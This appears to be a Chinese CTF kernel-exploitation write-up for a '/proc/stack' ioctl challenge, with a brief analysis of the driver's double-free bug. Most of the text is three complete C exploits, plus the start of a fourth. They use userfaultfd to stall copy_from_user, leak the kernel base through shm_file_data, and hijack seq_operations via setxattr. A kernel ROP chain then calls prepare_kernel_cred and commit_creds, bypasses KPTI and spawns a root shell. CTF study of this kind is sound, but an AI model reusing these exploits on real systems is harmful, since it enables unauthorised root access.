#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-no-reboot \
-s \
-monitor /dev/null \
-nographic
typedef struct _Element {
int owner;
unsigned long value;
struct _Element *fd;
} Element;
Element
大小为24,kmalloc(sizeof(Element))
分配进kmalloc-32的slab中
static long proc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
Element *tmp, *prev;
int pid = task_tgid_nr(current);
switch(cmd) {
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
head = tmp->fd;
kfree(tmp);
return -EINVAL;
}
break;
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
break;
}
return 0;
}
Element
,kmalloc-32 slab;并将用户层的值拷贝到Element->value
,并将该slab链入单向链表中
copy_from_user
失败后
Element
,kfree(tmp);tmp
是局部变量,未置NULLElement->owner
与调用进程pid相同的,全部释放掉,并将Element->value
拷贝到用户空间
Element->value
的值是有用的,但Element->value
拷贝到用户空间,这个用户空间地址是不变的,如果拷贝多份,会被覆盖,所以考虑只拷贝一份出来,也就是链表中,只放入一个Element
Element
,kfree(tmp); tmp未置NULLproc_ioctl
调用就直接退出了,没任意影响
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL; <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
单向链表指针正常调整
kfree(tmp);,tmp未置NULL,有利用方式吗?
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
,没啥问题 case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp); <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
prev = tmp, tmp = tmp->fd
head->fd
无内容,for循环结束 case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) { // 失败
head = tmp->fd; // 修正指针
kfree(tmp); // 释放掉
return -EINVAL;
}
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) { // 失败,并暂停住
head = tmp->fd;
kfree(tmp);
return -EINVAL;
}
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
看起来这种运行方式,通过userfaultfd
或者fuse
达成
CMD_PUSH copy_from_user正常失败,并暂停住
CMD_POP
中的可正常copy_to_user
在上面整体运行的时候,可以先分配带有内核函数指针的kmalloc-32
1)分配带内核指针的kmalloc-32,slab-A
2)释放slab-A
3)CMD_PUSH,copy_from_user失败并暂停住(占据slab-A,且内容没有被污染)
4)CMD_POP
4-1)可正常copy_to_user (获取内核指针,获取内核基地址)
4-2)可kfree
5)CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free
分配:一个带有函数指针的内核结构体 slab-B
分配:分配时修改slab-B
中的函数指针
触发:slab-B
的函数指针
shm_file_data
addr
shm_file_data->ipc_namespace
,计算内核基地址PROT_NONE
,copy_from_user失败,产生double-free的第二个freeopen("proc/self/stat")
,分配seq_operations
seq_operations
中的start
为一个rop栈迁移seq_operations->start
提权#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ulong unsigned long
#define errExit(msg) \
do \
{ \
perror("[ERROR EXIT]\n"); \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define WAIT(msg) \
puts(msg); \
fgetc(stdin);
#define PAGE 0x1000
ulong user_cs, user_ss, user_sp, user_rflags;
int fd; // file descriptor of /dev/note
char *addr = 0x117117000; // memory region supervisored
char *shmaddr = 0x200200000; // memory region shmat
const char *buf[0x1000]; // userland buffer
const ulong len = PAGE * 0x10; // memory length
ulong leak, kernbase;
void pop_shell(void)
{
char *argv1[] = {"/bin/cat", "/flag", NULL};
char *envp1[] = {NULL};
execve("/bin/cat", argv1, envp1);
char *argv2[] = {"/bin/sh", NULL};
char *envp2[] = {NULL};
execve("/bin/sh", argv2, envp2);
}
static void save_state(void)
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}
#define POP 0x57ac0002
#define PUSH 0x57ac0001
struct Element
{
int owner;
ulong value;
struct Element *fd;
};
int _push(ulong *data)
{
if (ioctl(fd, PUSH, data) < 0)
if (errno == EINVAL)
{
printf("[-] copy_from_user failed.\n");
errno = 0;
}
else
errExit("_push");
// printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
return 0;
}
int _pop(ulong *givenbuf)
{
if (ioctl(fd, POP, givenbuf) < 0)
errExit("_pop");
printf("[+] poped %llx\n", *givenbuf);
return 0;
}
static void call_shmat(void)
{
int shmid;
void *addr;
pid_t pid;
if ((pid = fork()) == 0)
{
if ((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600)) == -1)
errExit("shmget fail");
if ((addr = shmat(shmid, NULL, SHM_RDONLY)) == -1)
errExit("shmat fail");
if (shmctl(shmid, IPC_RMID, NULL) == -1)
errExit("shmctl");
printf("[ ] Success call_shmat: %p\n", addr);
printf("[ ] Child is exiting...\n");
exit(0);
}
wait(pid);
printf("[ ] Parent is returning...\n");
}
// cf. man page of userfaultfd
static void *fault_handler_thread(void *arg)
{
puts("[+] entered fault_handler_thread");
static struct uffd_msg msg; // data read from userfaultfd
struct uffdio_range uffdio_range;
long uffd = (long)arg; // userfaultfd file descriptor
struct pollfd pollfd; //
int nready; // number of polled events
ulong hogebuf;
// set poll information
pollfd.fd = uffd;
pollfd.events = POLLIN;
// wait for poll
puts("[+] polling...");
while (poll(&pollfd, 1, -1) > 0)
{
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
errExit("poll");
// read an event
if (read(uffd, &msg, sizeof(msg)) == 0)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("unexpected pagefault");
printf("[!] page fault: %p\n", msg.arg.pagefault.address);
//********* Now, another thread is halting. Do my business. **//
// leak kernbase
puts("[+] pop before push!");
_pop(&hogebuf); // leak shm_file_data->ipc_namespace
leak = hogebuf;
kernbase = leak - 0xc38600;
printf("[!] leaked: %llx\n", leak);
printf("[!] kernbase(text): %llx\n", kernbase);
// change page permission and make fail copy_from_user
mprotect(msg.arg.pagefault.address & ~(PAGE - 1), PAGE, PROT_NONE);
printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE - 1));
uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
uffdio_range.len = PAGE;
if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
errExit("ioctl-UFFDIO_UNREGISTER");
printf("[+] unregistered supervisored region.\n");
break;
}
puts("[+] exiting fault_handler_thrd");
}
// cf. man page of userfaultfd
void register_userfaultfd_and_halt(void)
{
puts("[+] registering userfaultfd...");
long uffd; // userfaultfd file descriptor
pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// create userfaultfd file descriptor
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
if (uffd == -1)
errExit("userfaultfd");
// enable uffd object via ioctl(UFFDIO_API)
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
// mmap
puts("[+] mmapping...");
addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
puts("[+] mmapped...");
if (addr == MAP_FAILED)
errExit("mmap");
// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
uffdio_register.range.start = addr;
uffdio_register.range.len = PAGE * 0x10;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
{
errno = s;
errExit("pthread_create");
}
puts("[+] registered userfaultfd");
}
int main(void)
{
/** gadgets **/
ulong pop_rdi = 0x194964;
// 0xffffffff81194964: pop rdi ; ret ; (19 found)
ulong pop_rcx = 0x0dee43;
// 0xffffffff810dee43: pop rcx ; ret ; (49 found)
ulong stack_pivot = 0x059d8b;
// 0xffffffff81059d8b: mov esp, 0x83C389C0 ; ret ; (1 found)
ulong prepare_kernel_cred = 0x06b960;
// ffffffff8106b960 T prepare_kernel_cred
ulong mov_rdi_rax = 0x0187bf;
// 0xffffffff810187bf: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found)
ulong commit_creds = 0x06b770;
// ffffffff8106b770 T commit_creds
ulong swapgs_restore_regs_and_return_to_usermode = 0x600a4a;
// ffffffff81600a34 T swapgs_restore_regs_and_return_to_usermode
/*
0xffffffff81600a4a : mov rdi,rsp
0xffffffff81600a4d : mov rsp,QWORD PTR gs:0x5004
0xffffffff81600a56 : push QWORD PTR [rdi+0x30]
0xffffffff81600a59 : push QWORD PTR [rdi+0x28]
0xffffffff81600a5c : push QWORD PTR [rdi+0x20]
0xffffffff81600a5f : push QWORD PTR [rdi+0x18]
0xffffffff81600a62 : push QWORD PTR [rdi+0x10]
0xffffffff81600a65 : push QWORD PTR [rdi]
0xffffffff81600a67 : push rax
0xffffffff81600a68 : xchg ax,ax
0xffffffff81600a6a : mov rdi,cr3
0xffffffff81600a6d : jmp 0xffffffff81600aa3
0xffffffff81600a6f : mov rax,rdi
0xffffffff81600a72 : and rdi,0x7ff
*/
void *tmp_addr;
ulong tmp_buf = 0xdeadbeef;
int sfd;
unsigned long *fstack;
ulong *rop;
// save state
save_state();
// open target proc file
if ((fd = open("/proc/stack", O_RDONLY)) < 0)
errExit("open-/proc/stack");
// set userfaultfd
register_userfaultfd_and_halt();
sleep(1);
// 申请 shm_file_data 然后释放
call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
// 先申请,之前被释放的 shm_file_data ,然后写入数据,写入数据的时候,产生中断
// 页面处理中,通过_pop,读取之前shm_file_data结构体中的数据,最终得到kernel_base,并释放push申请的结构体(1-free)
// 再通过mprotect,使push中的copy_from_user,调用free,从而产生double free(2-free)
_push(addr); // invoke fault
// alloc seq_operations;
// double-free-1-alloc
if ((sfd = open("proc/self/stat", O_RDONLY)) == -1)
errExit("single_open");
// overwrite seq_operations;
char buf[0x20];
printf("[+] stack pivot gadget: %p\n", kernbase + stack_pivot);
for (int ix = 0; ix != 4; ++ix) // first 8byte is useless.
*(ulong *)(buf + ix * 8) = (kernbase + stack_pivot);
// double-free-2-alloc
setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE);
// alloc fake stack for 0x83C389C0
fstack = mmap(0x83C38000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (fstack != 0x83C38000)
errExit("fstack");
/********** construct kROP ***************/
rop = (ulong *)0x83C389c0;
// Get cred of init task.
*rop++ = kernbase + pop_rdi;
*rop++ = 0;
*rop++ = kernbase + prepare_kernel_cred;
// Commit that cred.
*rop++ = kernbase + pop_rcx; // Cuz mov_rdi_rax gadget contains rep inst, set counter to 0.
*rop++ = 0;
*rop++ = kernbase + mov_rdi_rax;
*rop++ = 0; // fake rbp
*rop++ = kernbase + commit_creds;
// Return to usermode by swapgs_restore_regs_and_return_to_usermode
*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
*rop++ = 0;
*rop++ = 0;
*rop++ = (ulong)&pop_shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
// pop shell
read(sfd, buf, 0x10);
return 0;
}
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PAGE_SIZE 0x1000
int fd;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void push(char* data)
{
if(ioctl(fd, 0x57AC0001, data) < 0)
ErrExit("push error");
}
void pop(char* data)
{
if(ioctl(fd, 0x57AC0002, data) < 0)
ErrExit("pop error");
}
void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}
void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error");
ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
}
void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] leak handler created");
pop(&kernel_offset);
kernel_offset-= 0xffffffff81c37bc0;
printf("[+] kernel offset: 0x%lx\n", kernel_offset);
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
}
void *userfault_double_free_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
puts("[+] double free handler created");
pop(page);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] double free handler done");
}
size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] hijack handler created");
puts("[+] tigger..");
for(int i=0; i<100; i++)
close(seq_fds[i]);
pop_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell();
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
}
int main()
{
size_t size[0x10];
char* leak_buf;
char* double_free_buf;
char* hijack_buf;
int shm_id;
char* shm_addr;
fd = open("/proc/stack",O_RDONLY);
if(fd < 0)
ErrExit("[-] open kstack error");
for(int i=0; i<100; i++)
if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
// 1、泄露内核基地址
leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler);
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
ErrExit("shmget error");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
ErrExit("shmat!");
if(shmdt(shm_addr) < 0)
ErrExit("shmdt error");
push(leak_buf);
// 2、通过两次pop实现double-free
double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(double_free_buf, userfault_double_free_handler);
push("fxc");
pop(double_free_buf);
hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset;
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
}
// https://www.cnblogs.com/pwnfeifei/p/16650533.html
与exp1的区别,调整了一下内核基地址泄露和double-free的顺序
// gcc -static -pthread exp.c -g -o exp
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t preapre_kernel_cred = 0x069e00;
size_t commit_creds = 0x069c10;
size_t p_rdi_r = 0x034505;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x01d5c6;
size_t kpti_bypass = 0x600a4a;
size_t user_cs, user_ss, user_sp, user_rflags;
void Err(char* buf){
printf("%s Error\n", buf);
exit(-1);
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
void savestatus(){
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:: "memory");
}
void get_shell(){
if(!getuid()){
puts("Root Now!");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
}
void Input(char* buf){
if(-1 == ioctl(fd, 1470889985, buf)){
Err("Input");
}
puts(" [=] input ok");
}
void Output(char* buf){
if(-1 == ioctl(fd, 1470889986, buf)){
Err("Output");
}
puts(" [=] output ok");
}
int page_size;
void* handler(void *arg){
unsigned long value;
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
int len, i;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
}
uffd = (long)arg;
for(;;) {
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
len = poll(&pollfd, 1, -1);
if (len == -1) fatal("poll");
printf("[+] fault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", len,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
len = read(uffd, &msg, sizeof(msg));
if (len == 0) fatal("userfaultfd EOF");
if (len == -1) fatal("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");
printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
printf(" address = 0x%lx\n", msg.arg.pagefault.address);
printf("[!] fault_cnt: %d\n",fault_cnt);
switch(fault_cnt) {
case 0:
puts(" [1.1] First Double Free");
Output(&value);
printf(" [1.1] faultd free ok, popped: %016lx\n", value);
break;
case 1:
// overlap Element and seq_operations (caused by push)
puts(" [2.1] Second Output to get kernel_addr");
Output(&value);
printf(" [2.1] fault get addr ok, popped: %016lx\n", value);
kernel_base = value - offset;
break;
case 2:
// double free (caused by pop)
puts(" [3.1]Third Double free");
Output(&value);
printf(" [3.1]fault free ok, popped: %016lx\n", value);
break;
default:
puts("ponta!");
getchar();
break;
}
// return to kernel-land
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
fault_cnt++;
}
}
size_t register_userfault(size_t addr, size_t len){
long uffd;
// char *addr;
// size_t len = 0x1000;
pthread_t thr;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// new userfaulfd
page_size = sysconf(_SC_PAGE_SIZE);
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
puts("userfaultfd\n");
exit(-1);
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd
{
puts("ioctl uffd err\n");
exit(-1);
}
// addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault
// MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// if (addr == MAP_FAILED)
// {
// puts("map err\n");
// exit(-1);
// }
printf("Address returned by mmap() = %p\n", addr);
uffdio_register.range.start = (size_t) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user
// //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
{
puts("ioctl register err\n");
exit(-1);
}
s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
if (s != 0) {
errno = s;
puts("pthread create err\n");
exit(-1);
}
return addr;
}
void prepare_ROP(){
char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0);
unsigned long* rop_addr = (unsigned long*)(rop_mem+0x8000+0x10);
int i = 0;
rop_addr[i++] = p_rdi_r+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = preapre_kernel_cred+kernel_base;
rop_addr[i++] = mov_rdi_rax_p_rbp_r+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = commit_creds+kernel_base;
// rop_addr[i++] = swapgs+kernel_base;
// rop_addr[i++] = 0;
// rop_addr[i++] = iretq+kernel_base;
rop_addr[i++] = kpti_bypass+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = 0;
rop_addr[i++] = get_shell;
rop_addr[i++] = user_cs;
rop_addr[i++] = user_rflags;
rop_addr[i++] = 0x5d000000-0x8000+0x900;
rop_addr[i++] = user_ss;
}
int main(){
savestatus();
//register page fault
fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE, //create page used for user fault
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (fault_ptr == MAP_FAILED)
{
puts("map err\n");
exit(-1);
}
register_userfault(fault_ptr, fault_len);
fd = open("/proc/stack", O_RDONLY);
if(fd < 0){
Err("Open dev");
}
char* buf = malloc(0x100);
memset(buf, "a", 0x100);
//fault_ptr = register_userfault();
Input(buf);
memset(buf, "b", 0x100);
Input(buf);
puts("[1] Doubel free:");
Output(fault_ptr);
puts("[1] double free ok");
usleep(300);
puts("[2] leak kernel_addr:");
int fd1 = open("/proc/self/stat", O_RDONLY);
if(fd1 < 0 ){
Err("Alloc stat");
}
Input(fault_ptr+0x1000);
printf("[2] Got kernel_base: 0x%llx\n",kernel_base);
usleep(300);
puts("[3] Doubel free again");
Input(buf);
Output(fault_ptr+0x2000);
puts("[3] double free ok");
usleep(300);
//prepare data
char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot;
puts("[4] Setxattr to change seq_operations->star ptr");
puts(" [4.1] Fourth alloc seq_operations");
victim_fd = open("/proc/self/stat", O_RDONLY);
printf(" [4.1] alloc ok, victim fd: %d\n", victim_fd);
setxattr("/tmp", "seccon",
(void*)((unsigned long)data),
0x20, XATTR_CREATE);
puts("[4] change ok");
usleep(300);
puts("[5] Prepare ROP");
prepare_ROP();
puts("[6] Trigger vul");
read(victim_fd, buf, 1);
return 0;
}
exp4
userfaultfd的一种写法,很不好看
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef unsigned long ulong;
#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002
#define PAGESIZE 4096
int hack;
int Open(const char *fname, int mode)
{
int fd = open(fname, mode);
if (fd < 0)
{
perror("open");
exit(-1);
}
return fd;
}
int userfaultfd(int flags)
{
return syscall(323, flags); // userfaultfd
}
int prepareUFD(void *pages, unsigned long memsize)
{
int fd = 0;
if ((fd = userfaultfd(O_NONBLOCK)) == -1)
{
fprintf(stderr, "++ userfaultfd failed: %m\n");
exit(-1);
}
struct uffdio_api api = {.api = UFFD_API};
if (ioctl(fd, UFFDIO_API, &api))
{
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
exit(-1);
}
